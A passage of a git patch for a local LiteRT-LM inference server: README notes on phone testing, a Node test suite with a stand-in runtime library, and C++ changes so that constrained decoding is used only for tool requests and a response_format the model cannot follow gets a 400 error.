own C++ runtime is static and unexported. `liblitert-lm.so` carries its own statically linked C++ runtime and *exports* it; when the server was linked against the library, the linker @@ -370,13 +387,17 @@ it doesn't. ### Not yet verified -- **No phone has run it successfully.** On the owner's phone the wheel's library failed to load, - which is why it now has [a shim](#libandroidso-and-its-shim); no phone has run the patched one - yet. The patched library was run in a chroot of the x86_64 Android 15 emulator image's system - and vendor partitions, with that image's linker and its generated `/linkerconfig`: it loads - and answers a chat request on CPU, and still does with `libstagefright.so` removed from the - image, where the unpatched one fails with the owner's message. The code uses only - POSIX/bionic APIs available at API 24. +- **No phone has answered a chat yet.** On the owner's phone the wheel's library failed to load, + which is why it now has [a shim](#libandroidso-and-its-shim). With the patched one the same + phone (Mali-G715) loaded LFM2.5-230M, and then the daemon's one-token warm-up request failed + because constrained decoding was on for every request (see above), so the model never finished + loading. The patched library was run in a chroot of the x86_64 Android 15 emulator image's + system and vendor partitions, with that image's linker and its generated `/linkerconfig`: it + loads and answers a chat request on CPU, and still does with `libstagefright.so` removed from + the image, where the unpatched one fails to load as it did on the owner's phone. In that chroot + (image unmodified) it also answers LFM2.5-230M, gemma-3-270m-it, gemma-3-1b-it, a FunctionGemma + 270M and Qwen3-0.6B on CPU, streamed or not, with tools and with a `response_format`. The code + uses only POSIX/bionic APIs available at API 24. - GPU speed versus Termux on the same phone, and whether every GPU path (OpenCL, WebGPU/Vulkan) loads from an app-spawned process the way it does from Termux. The linker namespace of a `/data` executable searches `/system` and `/system_ext` only, so a vendor `libOpenCL.so` may diff --git a/engines/litert-lm-server/constrained-decoding.test.mjs b/engines/litert-lm-server/constrained-decoding.test.mjs new file mode 100644 index 0000000..903b3ba --- /dev/null +++ b/engines/litert-lm-server/constrained-decoding.test.mjs @@ -0,0 +1,310 @@ +// Tests which conversations the LiteRT-LM server asks the runtime for, and what it answers when one cannot be made +// (src/main.cc, HandleChatCompletions): +// node --test engines/litert-lm-server/constrained-decoding.test.mjs +// The server is built for this machine with c++, as in parent-death.test.mjs, and runs against +// testdata/fake_litert_lm.cc, a stand-in liblitert-lm.so that answers the conversation calls as LiteRT-LM 0.18.0 does +// for an LFM2 model, for Gemma models and for a few failures, and whose reply says how its conversation was created. +// Linux only, like that test, and skipped without a C and a C++ compiler. Building takes a few seconds. +// +// Given a liblitert-lm.so that runs on this machine (the one in the manylinux litert-lm-api wheel of the version +// scripts/stage-litert-lm-engine.mjs pins) and .litertlm models, the last tests also run the server on each model: +// LITERT_LM_TEST_LIBRARY= LITERT_LM_TEST_MODELS=[,...] \ +// node --test engines/litert-lm-server/constrained-decoding.test.mjs +// (an LFM2 one: litert-community/LFM2.5-230M on Hugging Face; a Gemma one: litert-community/gemma-3-270m-it). +// Every server a test starts is killed by pid when that test ends, or at the latest when the tests end. Every wait is +// bounded (the compiler check, the build, a server's start, each request, each test), so a server that hangs fails the +// test by name instead of holding the run. +import assert from 'node:assert/strict' +import { spawn, spawnSync } from 'node:child_process' +import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' +import { createServer } from 'node:net' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { after, before, test } from 'node:test' +import { fileURLToPath } from 'node:url' + +const root = fileURLToPath(new URL('.', import.meta.url)) +const work = mkdtempSync(join(tmpdir(), 'litert-lm-server-cd-test-')) +const servers = [] +// What before() is still doing. With a --test-name-pattern that leaves no test in this file, node runs after() while +// before() is starting the server, and removing `work` under it failed the file (spawn ... ENOENT); so after() waits. +let ready = Promise.resolve() +after(async () => { + await ready.catch(() => {}) + for (const s of servers) { + try { + process.kill(s.pid, 'SIGKILL') + } catch {} + } + rmSync(work, { recursive: true, force: true }) +}) + +// A compiler that does not answer in 10 s counts as missing (the timeout sets .error), so the file skips cleanly. +const missing = ['cc', 'c++'].filter((c) => spawnSync(c, ['--version'], { stdio: 'ignore', timeout: 10_000 }).error) +const skip = process.platform !== 'linux' ? 'the server is tested on Linux only' + : missing.length ? `no ${missing.join(' or ')} on this machine` : false +const realLibrary = process.env.LITERT_LM_TEST_LIBRARY +const realModels = (process.env.LITERT_LM_TEST_MODELS ?? '').split(',').filter(Boolean) +const skipReal = skip || (!realLibrary || !realModels.length + ? 'set LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_MODELS to run the server on real models' : false) +const binary = join(work, 'litertlm_server') + +// One file per kind of model the stand-in knows (see testdata/fake_litert_lm.cc); it reads only the name. None starts +// with "LITERTLM", so the server leaves it to the runtime. +const model = (kind) => { + const path = join(work, `${kind}.litertlm`) + writeFileSync(path, 'stand-in model') + return path +} + +let fake + +before(() => (ready = (async () => { + if (skip) return + // The stand-in: testdata/fake_litert_lm.cc, and every other function the server resolves (src/litert_lm_api.h) as + // one that does nothing. + const header = readFileSync(join(root, 'src', 'litert_lm_api.h'), 'utf8') + const names = [...header.matchAll(/^\s*X\((\w+)\)/gm)].map((m) => m[1]) + assert.ok(names.length > 40, 'the C API list in litert_lm_api.h was not found') + const source = readFileSync(join(root, 'testdata', 'fake_litert_lm.cc'), 'utf8') + const defined = new Set([...source.matchAll(/^\S.*?\b(litert_lm_\w+)\(/gm)].map((m) => m[1])) + writeFileSync(join(work, 'rest.c'), names.filter((n) => !defined.has(n)).map((n) => `void ${n}(void) {}\n`).join('')) + // Each build is bounded by itself: spawnSync holds the event loop, so the hook's own timeout cannot end one. + const cxx = (args) => { + const r = spawnSync('c++', args, { encoding: 'utf8', timeout: 120_000 }) + assert.equal(r.status, 0, r.error ? `c++: ${r.error.message}` : r.stderr) + } + cxx([ + '-std=c++17', '-shared', '-fPIC', '-x', 'c++', join(root, 'testdata', 'fake_litert_lm.cc'), '-x', 'c', join(work, 'rest.c'), + '-I', join(root, 'third_party', 'litert_lm'), '-o', join(work, 'liblitert-lm.so'), + ]) + cxx([ + '-std=c++17', '-O0', '-w', '-I', join(root, 'third_party', 'litert_lm'), '-I', join(root, 'third_party'), + '-DLITERT_LM_VERSION="test"', join(root, 'src', 'main.cc'), join(root, 'src', 'litert_lm_api.cc'), + '-ldl', '-pthread', '-o', binary, + ]) + // Beside the server, where LoadLiteRtLm looks first after LITERT_LM_LIBRARY. --verbose for logged() below. + fake = await startServer({ ...process.env, LITERT_LM_LIBRARY: '' }, ['--verbose']) +})()), { timeout: 300_000 }) + +function freePort() { + return new Promise((resolve, reject) => { + const s = createServer().once('error', reject) + s.listen(0, '127.0.0.1', () => { + const { port } = s.address() + s.close(() => resolve(port)) + }) + }) +} + +async function startServer(env, args = []) { + const port = await freePort() + const child = spawn(binary, ['serve', '--host', '127.0.0.1', '--port', String(port), ...args], { env, stdio: ['ignore', 'ignore', 'pipe'] }) + servers.push(child) + const server = { port, stderr: '', child } + child.stderr.setEncoding('utf8') + child.stderr.on('data', (d) => { server.stderr += d }) + await new Promise((resolve, reject) => { + // It logs this before it loads any model, so 30 s is plenty; the server is killed when the tests end. + const timer = setTimeout(() => reject(new Error(`the server did not start in 30 s: ${server.stderr}`)), 30_000) + const onData = () => { + if (server.stderr.includes('Starting OpenAI-compatible API server')) { + clearTimeout(timer) + resolve() + } + } + child.stderr.on('data', onData) + child.once('exit', (code) => { + clearTimeout(timer) + reject(new Error(`the server exited ${code}: ${server.stderr}`)) + }) + }) + return server +} + +// fetch, bounded: without a signal undici waits 300 s for a reply's headers and then says only "fetch failed". +async function request(url, init, ms) { + const signal = AbortSignal.timeout(ms) + try { + const res = await fetch(url, { ...init, signal }) + return { status: res.status, text: await res.text() } + } catch (err) { + if (!signal.aborted) throw err + throw new Error(`${init?.method ?? 'GET'} ${url} ${init?.body ?? ''}: no reply in ${ms / 1000} s`) + } +} + +// A stand-in answers at once; the real-model test gives each request longer, since a model loads on its first one. +async function chat(server, body, ms = 30_000) { + const res = await request(`http://127.0.0.1:${server.port}/v1/chat/completions`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify(body), + }, ms) + const text = res.text + if (body.stream && res.status === 200) { + const events = text.split('\n\n').filter((e) => e.startsWith('data: ')).map((e) => e.slice(6)) + assert.equal(events.at(-1), '[DONE]', text) + const chunks = events.slice(0, -1).map((e) => JSON.parse(e)) + return { + status: res.status, + content: chunks.map((c) => c.choices[0]?.delta?.content ?? '').join(''), + reasoning: chunks.map((c) => c.choices[0]?.delta?.reasoning_content ?? '').join(''), + finish: chunks.at(-1).choices[0].finish_reason, + } + } + const json = JSON.parse(text) + if (res.status !== 200) return { status: res.status, error: json.error.message } + return { + status: res.status, + content: json.choices[0].message.content ?? '', + reasoning: json.choices[0].message.reasoning_content ?? '', + tool_calls: json.choices[0].message.tool_calls, + finish: json.choices[0].finish_reason, + } +} + +const sleep = (ms) => new Promise((r) => setTimeout(r, ms)) +// What the server has logged, all of it up to now: a reply can arrive before the lines logged while it was made. With +// --verbose the server logs each request as it reads it, so once a GET /health made now shows up, all are in. +async function logged(server) { + const marks = () => server.stderr.split('\n').filter((l) => l === 'GET /health').length + const seen = marks() + assert.equal((await request(`http://127.0.0.1:${server.port}/health`, undefined, 5000)).status, 200) + for (const end = Date.now() + 5000; marks() === seen && Date.now() < end;) await sleep(10) + assert.ok(marks() > seen, 'the server did not log GET /health') + return server.stderr.split('\n') +} + +// The stand-in's reply: how the conversation was created and sent, and how many conversations the process has created. +function created(reply) { + assert.equal(reply.status, 200, reply.error) + return Object.fromEntries(reply.content.split(' ').map((kv) => kv.split('=')).map(([k, v]) => [k, Number(v)])) +} +// The same without the count. +function how(reply) { + const { creates, ...rest } = created(reply) + return rest +} + +const hello = [{ role: 'user', content: 'Hello' }] +const tools = [{ + type: 'function', + function: { name: 'get_weather', description: 'Weather in a city', parameters: { type: 'object', properties: { city: { type: 'string' } }, required: ['city'] } }, +}] +const jsonSchema = { + type: 'json_schema', + json_schema: { name: 'city', schema: { type: 'object', properties: { city: { type: 'string' } }, required: ['city'] } }, +} +const notSupported = 'constrained decoding is not available for' + +test('a chat with an LFM2 model is answered, streamed or not, without constrained decoding', { skip, timeout: 60_000 }, async () => { + const lfm2 = model('lfm2-a') + assert.deepEqual(how(await chat(fake, { model: lfm2, messages: hello })), { constrained: 0, tools: 0, provider: 0, constraint: 0 }) + const streamed = await chat(fake, { model: lfm2, messages: hello, stream: true }) + assert.equal(streamed.status, 200) + assert.equal(streamed.finish, 'stop') + assert.match(streamed.content, /^constrained=0 tools=0 provider=0 constraint=0 /) +}) + +test('constrained decoding is turned on for a request with tools, and only for one', { skip, timeout: 60_000 }, async () => { + const gemma = model('gemma') + assert.equal(created(await chat(fake, { model: gemma, messages: hello, tools })).constrained, 1) + assert.equal(created(await chat(fake, { model: gemma, messages: hello })).constrained, 0) + assert.equal(created(await chat(fake, { model: gemma, messages: hello, response_format: jsonSchema })).constrained, 0) + assert.equal((await logged(fake)).some((l) => l.startsWith(notSupported)), false) +}) + +test('a request with tools to a model that refuses constrained decoding is answered without it, found out once per load', { skip, timeout: 60_000 }, async () => { + for (const kind of ['lfm2-b', 'fst-unsupported']) { + const path = model(kind) + const before = created(await chat(fake, { model: path, messages: hello })).creates + const first = created(await chat(fake, { model: path, messages: hello, tools })) + assert.deepEqual({ ...first, creates: first.creates - before }, + { constrained: 0, tools: 1, provider: 0, constraint: 0, creates: 2 }, 'refused, then created without it') + const second = created(await chat(fake, { model: path, messages: hello, tools })) + assert.deepEqual({ ...second, creates: second.creates - first.creates }, + { constrained: 0, tools: 1, provider: 0, constraint: 0, creates: 1 }, 'created without it at once') + const lines = (await logged(fake)).filter((l) => l.startsWith(`${notSupported} ${kind}.litertlm`)) + assert.equal(lines.length, 1, fake.stderr) + } + const lines = await logged(fake) + assert.ok(lines.includes('constrained decoding is not available for lfm2-b.litertlm (FAILED_PRECONDITION: Constrained ' + + 'decoding is not supported for Lfm2DataProcessor.); its tool calls are not constrained'), fake.stderr) + assert.ok(lines.includes('constrained decoding is not available for fst-unsupported.litertlm (INTERNAL: Failed to ' + + 'create GemmaModelConstraintProvider.); its tool calls are not constrained'), fake.stderr) + // Found out again once the model is loaded again (the file may since hold another model). + const lfm2 = model('lfm2-b') + await chat(fake, { model: model('gemma'), messages: hello }) + assert.equal(created(await chat(fake, { model: lfm2, messages: hello, tools })).constrained, 0) + assert.equal((await logged(fake)).filter((l) => l.startsWith(`${notSupported} lfm2-b.litertlm`)).length, 2) +}) + +test('a response_format is followed by a model that refuses constrained decoding', { skip, timeout: 60_000 }, async () => { + const lfm2 = model('lfm2-c') + assert.deepEqual(how(await chat(fake, { model: lfm2, messages: hello, response_format: jsonSchema })), + { constrained: 0, tools: 0, provider: 1, constraint: 2 }) + assert.deepEqual(how(await chat(fake, { model: lfm2, messages: hello, tools, response_format: { type: 'regex', regex: 'yes|no' } })), + { constrained: 0, tools: 1, provider: 1, constraint: 1 }) +}) + +test('a response_format the model cannot follow is a 400 that says why', { skip, timeout: 60_000 }, async () => { + const noLlg = model('no-llg') + for (const extra of [{}, { tools }]) { + const reply = await chat(fake, { model: noLlg, messages: hello, response_format: { type: 'regex', regex: 'yes|no' }, ...extra }) + assert.equal(reply.status, 400) + assert.equal(reply.error, 'Invalid response_format parameters: this model cannot follow a response_format: ' + + "INVALID_ARGUMENT: LlGuidanceConfig::eos_id wasn't set and no valid stop token was found in SessionConfig.") + } + assert.equal(created(await chat(fake, { model: noLlg, messages: hello, tools })).constrained, 1) +}) + +test('a response_format whose regex does not compile is a 400 that says why', { skip, timeout: 60_000 }, async () => { + for (const kind of ['gemma', 'lfm2-d']) { + const reply = await chat(fake, { model: model(kind), messages: hello, response_format: { type: 'regex', regex: '(' } }) + assert.equal(reply.status, 400) + assert.equal(reply.error, 'Invalid response_format parameters: INTERNAL: Failed to create LLGuidance constraint: ' + + 'invalid regex "(": unclosed group') + } +}) + +test('a conversation that cannot be created at all is still a 500 with the runtime\'s reason', { skip, timeout: 60_000 }, async () => { + const broken = model('broken') + for (const extra of [{}, { tools }, { response_format: jsonSchema }, { tools, response_format: jsonSchema }]) { + const reply = await chat(fake, { model: broken, messages: hello, ...extra }) + assert.deepEqual(reply, { status: 500, error: 'RuntimeError: Failed to create conversation: INTERNAL: cannot create a session' }) + } + assert.equal((await logged(fake)).some((l) => l.startsWith(`${notSupported} broken.litertlm`)), false) +}) + +for (const path of realModels.length ? realModels : ['']) { + test(`a real model answers a chat, a stream, tools and a response_format: ${path}`, { skip: skipReal, timeout: 600_000 }, async () => { + // No compiled-model cache: by default the runtime writes one beside the model, as large as the model. + const config = join(work, 'no-cache.json') + writeFileSync(config, JSON.stringify({ default: { cache: 'no' } })) + const real = await startServer({ ...process.env, LITERT_LM_LIBRARY: realLibrary }, ['--config', config]) + try { + const ms = 300_000 // per request: the first one loads the model + const ref = `${path},cpu` + const plain = await chat(real, { model: ref, messages: [{ role: 'user', content: 'Say hello.' }], max_completion_tokens: 16 }, ms) + assert.equal(plain.status, 200, plain.error) + assert.ok(plain.content || plain.reasoning, 'no text') // a thinking model (Qwen3) may only think in 16 tokens + const streamed = await chat(real, { model: ref, messages: [{ role: 'user', content: 'Count to three.' }], max_completion_tokens: 16, stream: true }, ms) + assert.equal(streamed.status, 200, streamed.error) + assert.ok(streamed.content || streamed.reasoning, 'no text streamed') + const withTools = await chat(real, { model: ref, messages: [{ role: 'user', content: 'What is the weather in Paris?' }], tools, max_completion_tokens: 48 }, ms) + assert.equal(withTools.status, 200, withTools.error) + const yesNo = await chat(real, { model: ref, messages: [{ role: 'user', content: 'Is the sky blue? Answer yes or no.' }], response_format: { type: 'regex', regex: '(yes|no)' }, max_completion_tokens: 8 }, ms) + assert.equal(yesNo.status, 200, yesNo.error) + assert.match(yesNo.content, /^(yes|no)$/) + const badRegex = await chat(real, { model: ref, messages: hello, response_format: { type: 'regex', regex: '(' }, max_completion_tokens: 8 }, ms) + assert.equal(badRegex.status, 400) + assert.match(badRegex.error, /^Invalid response_format parameters: INTERNAL: Failed to create LLGuidance constraint: /) + } finally { + // This model's server goes now, not when the file ends: each one holds its model in memory. + try { + process.kill(real.child.pid, 'SIGKILL') + } catch {} + } + }) +} diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 6f8a271..38d05fa 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -28,6 +28,9 @@ // - A client that disconnects cancels its generation instead of letting it run on. // - Requests are served concurrently; only inference itself is serialized (the engine is one // shared resource, exactly as in the Python server, which serialized everything). +// - Constrained decoding only for requests with tools, and none for a model that refuses it, so +// LFM2 models answer at all (the Python server fails every request to one). A response_format +// the model cannot follow, or whose regex or schema cannot be compiled, is a 400, not a 500. // // Not translated: /v1/responses, /v1/embeddings and the Gemini API (TurboLLM uses none of them // with this engine), and image URLs other than base64 data: URLs (remote URLs, and local paths, which the Python @@ -287,6 +290,10 @@ struct EngineHolder { LiteRtLmEngine* engine = nullptr; EngineKey key; double init_seconds = 0; + // Set once a conversation with constrained decoding failed to be created for this engine's model and one without + // it was created: its data processor cannot constrain tool calls (see HandleChatCompletions), so its later requests + // with tools are created without it at once. Cleared when another engine is loaded. + bool tools_unconstrained = false; }; std::mutex g_engine_mu; // held for the whole of every inference: the engine is one shared resource @@ -402,6 +409,7 @@ LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc) { } g_engine.engine = e; g_engine.key = key; + g_engine.tools_unconstrained = false; g_engine.init_seconds = std::chrono::duration(std::chrono::steady_clock::now() - t0).count(); Log("Engine ready in " + std::to_string(g_engine.init_seconds) + " s"); return e; @@ -1100,7 +1108,8 @@ void HandleChatCompletions(int fd, const Request& req) { std::lock_guard engine_lock(g_engine_mu); LiteRtLmEngine* engine = GetOrCreateEngine(ref, mc); - // Engine.create_conversation, with exactly the options the serve path passes. + // Engine.create_conversation, with the options the serve path passes, but constrained decoding only with tools + // (below). LiteRtLmSessionConfig* sc = L.litert_lm_session_config_create(); if (has_sampler) { LiteRtLmSamplerParams* sp = L.litert_lm_sampler_params_create(kLiteRtLmSamplerTypeTopP); @@ -1121,7 +1130,20 @@ void HandleChatCompletions(int fd, const Request& req) { if (!context.empty()) L.litert_lm_conversation_config_set_messages(cc, context_str.c_str()); std::string tools_str = tools.dump(); if (!tools.empty()) L.litert_lm_conversation_config_set_tools(cc, tools_str.c_str()); - L.litert_lm_conversation_config_set_enable_constrained_decoding(cc, true); + // Constrained decoding is for tools only: with it, a data processor that can (Gemma 3's, Gemma 4's and + // FunctionGemma's, with the FST constraint library) builds a constraint from the tools so that the calls the model + // writes fit them (Conversation::CreateDecodeConfig, runtime/conversation/conversation.cc:401-413 in LiteRT-LM + // 0.18.0); the others build none (Qwen3's and the generic one never do: model_data_processor.h:101-103), and + // without tools none is built. A response_format does not use it: its constraint comes from the provider set + // below (conversation.cc:397-400). The Python server turns it on for every request, as this one did, and + // Conversation::Create passes it to the data processor, which may refuse it: LFM2's always does + // ("FAILED_PRECONDITION: Constrained decoding is not supported for Lfm2DataProcessor.", + // lfm2_data_processor.cc:53-56), and Gemma 3's, Gemma 4's and FunctionGemma's ("INTERNAL: Failed to create + // GemmaModelConstraintProvider.", gemma3_data_processor.cc:146-150, gemma4_data_processor.cc:96-101 and + // function_gemma_data_processor.cc:219-224) when the FST constraint library rejects the model's vocabulary, as it + // does gemma-3-270m-it's. Every request to such a model failed with a 500 before anything was generated. + const bool constrain_tools = !tools.empty() && !g_engine.tools_unconstrained; + L.litert_lm_conversation_config_set_enable_constrained_decoding(cc, constrain_tools); LiteRtLmConstraintProviderType provider = kLiteRtLmConstraintProviderTypeLlGuidance; if (constraint) L.litert_lm_conversation_config_set_constraint_provider(cc, &provider); if (thinking) { @@ -1134,9 +1156,40 @@ void HandleChatCompletions(int fd, const Request& req) { // after a chunk marked final (see the error branch of the drain loop below). auto q_owner = std::make_unique(); StreamQueue& q = *q_owner; - L.litert_lm_clear_last_error(); - std::unique_ptr conv(L.litert_lm_conversation_create(engine, cc)); + auto create = [&] { + L.litert_lm_clear_last_error(); + return std::unique_ptr(L.litert_lm_conversation_create(engine, cc)); + }; + std::unique_ptr conv = create(); + if (!conv && constrain_tools) { + // A model that refuses it still takes tools, unconstrained: the model writes its calls freely and its data + // processor parses them as always, as under `litert-lm run`, which never turns it on. Whether the flag was the + // cause is told by creating the conversation without it, not from the message, which differs by model. + std::string why = LastRuntimeError(); + L.litert_lm_conversation_config_set_enable_constrained_decoding(cc, false); + conv = create(); + if (conv) { + g_engine.tools_unconstrained = true; + Log("constrained decoding is not available for " + ref.id + (why.empty() ? "" : " (" + why + ")") + + "; its tool calls are not constrained"); + } + } + std::optional provider_refused; + if (!conv && constraint) { + // A response_format needs the LLGuidance constraint provider, which Conversation::Create builds from the model's + // tokenizer and stop tokens (conversation.cc:433-440) and which fails for a model with no single-token stop + // sequence (constraint_provider_factory.cc:43-56) or a tokenizer llguidance cannot take + // (llg_constraint_provider.cc:127-132). If the conversation can be created without it, the request asked for + // what this model cannot do: a 400 that says why, not a 500. + std::string why = LastRuntimeError(); + L.litert_lm_conversation_config_set_constraint_provider(cc, nullptr); + if (create()) provider_refused = why; + } L.litert_lm_conversation_config_delete(cc); + if (provider_refused) { + throw HttpError(400, "Invalid response_format parameters: this model cannot follow a response_format" + + (provider_refused->empty() ? "" : ": " + *provider_refused)); + } if (!conv) { std::string why = LastRuntimeError(); throw HttpError(500, "RuntimeError: Failed to create conversation" + (why.empty() ? "" : ": " + why)); @@ -1166,6 +1219,13 @@ void HandleChatCompletions(int fd, const Request& req) { if (rc != 0) { guard.Finished(); // nothing was started std::string why = LastRuntimeError(); + // A response_format whose regex or JSON schema the provider cannot compile fails here, before anything is + // generated: the constraint is built as the message is sent (conversation.cc:397-400), and the provider reports + // "Failed to create LLGuidance constraint: " (llg_constraint_provider.cc:155-160), so the request is at + // fault: a 400, not a 500. + if (constraint && why.find("Failed to create LLGuidance constraint") != std::string::npos) { + throw HttpError(400, "Invalid response_format parameters: " + why); + } throw HttpError(500, "RuntimeError: litert_lm_conversation_send_message_stream failed" + (why.empty() ? "" : ": " + why)); } diff --git a/engines/litert-lm-server/testdata/fake_litert_lm.cc b/engines/litert-lm-server/testdata/fake_litert_lm.cc new file mode 100644 index 0000000..144f269 --- /dev/null +++ b/engines/litert-lm-server/testdata/fake_litert_lm.cc @@ -0,0 +1,147 @@ +// A stand-in liblitert-lm.so for constrained-decoding.test.mjs. It implements the C API calls around creating a +// conversation and sending it a message the way LiteRT-LM 0.18.0 answers them for the kinds of model below, so the +// server's choices can be checked without a model. The test adds every other function the server resolves as one +// that does nothing. +// +// The kind of model is told by the start of the file name in the request's `model`: +// lfm2 refuses constrained decoding, as Lfm2DataProcessor::Create always does +// (runtime/conversation/model_data_processor/lfm2_data_processor.cc:53-56) +// fst-unsupported refuses it as Gemma3DataProcessor::Create does when the FST constraint library rejects the +// model's vocabulary (gemma3_data_processor.cc:124-152; gemma-3-270m-it is one) +// no-llg has no LLGuidance constraint provider (constraint_provider_factory.cc:43-56) +// broken cannot create any conversation +// anything else takes both (a Gemma model whose vocabulary the FST library supports) +// A conversation answers with one chunk of text that says how it was created and sent, for example +// "constrained=1 tools=1 provider=0 constraint=0 creates=3", where creates counts every litert_lm_conversation_create +// call in the process. A regex that does not compile fails the send as llguidance does +// (llg_constraint_provider.cc:155-160). +#include +#include + +#include "c/conversation.h" +#include "c/engine.h" +#include "c/error_reporter.h" + +struct LiteRtLmEngineSettings { + std::string model; +}; +struct LiteRtLmEngine { + std::string model; +}; +struct LiteRtLmSessionConfig {}; +struct LiteRtLmThinkingConfig {}; +struct LiteRtLmConversationConfig { + bool constrained = false, tools = false, provider = false; +}; +struct LiteRtLmConversation { + LiteRtLmConversationConfig config; +}; +struct LiteRtLmConversationOptionalArgs { + LiteRtLmConstraintType type = kLiteRtLmConstraintTypeNone; + std::string pattern; +}; +struct LiteRtLmStreamChunk { + std::string text; + const char* error; + bool final; +}; + +namespace { +std::string g_error; +int g_creates = 0; + +bool Is(const std::string& model, const char* kind) { return model.rfind(kind, 0) == 0; } + +std::string Basename(const char* path) { + std::string p = path ? path : ""; + size_t slash = p.find_last_of('/'); + return slash == std::string::npos ? p : p.substr(slash + 1); +} +} // namespace + +extern "C" { + +const char* litert_lm_get_last_error_message(void) { return g_error.c_str(); } +void litert_lm_clear_last_error(void) { g_error.clear(); } + +LiteRtLmEngineSettings* litert_lm_engine_settings_create(const char* model_path, const char*, const char*, const char*) { + return new LiteRtLmEngineSettings{Basename(model_path)}; +} +void litert_lm_engine_settings_delete(LiteRtLmEngineSettings* s) { delete s; } +LiteRtLmEngine* litert_lm_engine_create(const LiteRtLmEngineSettings* s) { return new LiteRtLmEngine{s->model}; } +void litert_lm_engine_delete(LiteRtLmEngine* e) { delete e; } + +LiteRtLmSessionConfig* litert_lm_session_config_create() { return new LiteRtLmSessionConfig; } +void litert_lm_session_config_delete(LiteRtLmSessionConfig* c) { delete c; } +LiteRtLmThinkingConfig* litert_lm_thinking_config_create() { return new LiteRtLmThinkingConfig; } +void litert_lm_thinking_config_delete(LiteRtLmThinkingConfig* c) { delete c; } + +LiteRtLmConversationConfig* litert_lm_conversation_config_create() { return new LiteRtLmConversationConfig; } +void litert_lm_conversation_config_delete(LiteRtLmConversationConfig* c) { delete c; } +void litert_lm_conversation_config_set_enable_constrained_decoding(LiteRtLmConversationConfig* c, bool enable) { + c->constrained = enable; +} +void litert_lm_conversation_config_set_tools(LiteRtLmConversationConfig* c, const char* tools_json) { + c->tools = tools_json && *tools_json; +} +void litert_lm_conversation_config_set_constraint_provider(LiteRtLmConversationConfig* c, + const LiteRtLmConstraintProviderType* type) { + c->provider = type != nullptr; +} + +// Conversation::Create's order: the data processor (which gets the constrained-decoding flag), then the provider. +LiteRtLmConversation* litert_lm_conversation_create(LiteRtLmEngine* engine, LiteRtLmConversationConfig* c) { + ++g_creates; + const std::string& m = engine->model; + if (Is(m, "broken")) { + g_error = "INTERNAL: cannot create a session"; + } else if (c->constrained && Is(m, "lfm2")) { + g_error = "FAILED_PRECONDITION: Constrained decoding is not supported for Lfm2DataProcessor."; + } else if (c->constrained && Is(m, "fst-unsupported")) { + g_error = "INTERNAL: Failed to create GemmaModelConstraintProvider."; + } else if (c->provider && Is(m, "no-llg")) { + g_error = + "INVALID_ARGUMENT: LlGuidanceConfig::eos_id wasn't set and no valid stop token was found in SessionConfig."; + } else { + return new LiteRtLmConversation{*c}; + } + return nullptr; +} +void litert_lm_conversation_delete(LiteRtLmConversation* conv) { delete conv; } +LiteRtLmBenchmarkInfo* litert_lm_conversation_get_benchmark_info(LiteRtLmConversation*) { return nullptr; } + +LiteRtLmConversationOptionalArgs* litert_lm_conversation_optional_args_create() { + return new LiteRtLmConversationOptionalArgs; +} +void litert_lm_conversation_optional_args_delete(LiteRtLmConversationOptionalArgs* a) { delete a; } +void litert_lm_conversation_optional_args_set_constraint(LiteRtLmConversationOptionalArgs* a, + LiteRtLmConstraintType type, const char* pattern) { + a->type = type; + a->pattern = pattern ? pattern : ""; +} + +int litert_lm_conversation_send_message_stream(LiteRtLmConversation* conv, const char*, const char*, + const LiteRtLmConversationOptionalArgs* a, + LiteRtLmStreamCallback callback, void* data) { + const LiteRtLmConstraintType type = a ? a->type : kLiteRtLmConstraintTypeNone; + if (type == kLiteRtLmConstraintTypeRegex && a->pattern == "(") { + g_error = "INTERNAL: Failed to create LLGuidance constraint: invalid regex \"(\": unclosed group"; + return -1; + } + const LiteRtLmConversationConfig& c = conv->config; + std::string text = "constrained=" + std::to_string(c.constrained) + " tools=" + std::to_string(c.tools) + + " provider=" + std::to_string(c.provider) + " constraint=" + std::to_string(type) + + " creates=" + std::to_string(g_creates); + LiteRtLmStreamChunk reply{"{\"role\":\"assistant\",\"content\":[{\"type\":\"text\",\"text\":\"" + text + "\"}]}", + nullptr, false}; + callback(data, &reply); + LiteRtLmStreamChunk end{"", nullptr, true}; + callback(data, &end); + return 0; +} + +const char* litert_lm_stream_chunk_get_error(const LiteRtLmStreamChunk* chunk) { return chunk->error; } +const char* litert_lm_stream_chunk_get_text(const LiteRtLmStreamChunk* chunk) { return chunk->text.c_str(); } +bool litert_lm_stream_chunk_is_final(const LiteRtLmStreamChunk* chunk) { return chunk->final; } + +} // extern "C" From 294c6c9992c1e8258d0d6827533b131fe6784f49 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 24 Oct 2026 19:27:53 +0000 Subject: [PATCH 67/80] fix(litert-lm-server): LFM2 answers each chat from a fresh state LFM2 models answered every request after the first one from the state the request before had left. The server keeps one engine per model and starts a new conversation on it for each request, and LiteRT-LM 0.18.0 starts a new conversation at step 0 with the executor's buffers as the last one left them (RestoreContext in llm_litert_compiled_model_executor.cc). That is right for a KV cache, whose entries past the step are masked, but LFM2's short-convolution cache (the kv_cache_c_* inputs) is read as it is (LiteRT-LM #3165; the model card says to create a new Engine for each conversation). Every chat turn is a new request, and the daemon sends title, memory and compaction requests in between. With LFM2.5-230M int8, [system "Answer in one word.", user "What is the capital of France?"] gets "Paris" from a fresh server, and "The capital of France is Paris." when asked again after a pirate-persona chat and the question itself; its second turn [..., assistant "Paris", user "And of Italy?"] gets "The capital of Italy is **Rome**." from a fresh server, and "Paris is the capital of France." after the first turn and a title request. Models with a KV cache only (Gemma, Qwen) answer the same either way. Older bug: origin/main has it (the engine is reused for every request, and a conversation made per request, since f9bd21c). - engines/litert-lm-server/src/main.cc: the server reads the model's own header when it loads the engine (the FlatBuffer section list, then two small protobuf sections): a model whose LlmMetadata names the LFM2 model type, or whose ExecutorMetadata declares a linear-attention state buffer or a kv_cache_c_* one, keeps a recurrent state. The type alone would miss files packed as generic_model, as litert-community's LFM2.5-230M was before 2026-10-14 and a third-party LFM2.5-VL-3B is; their 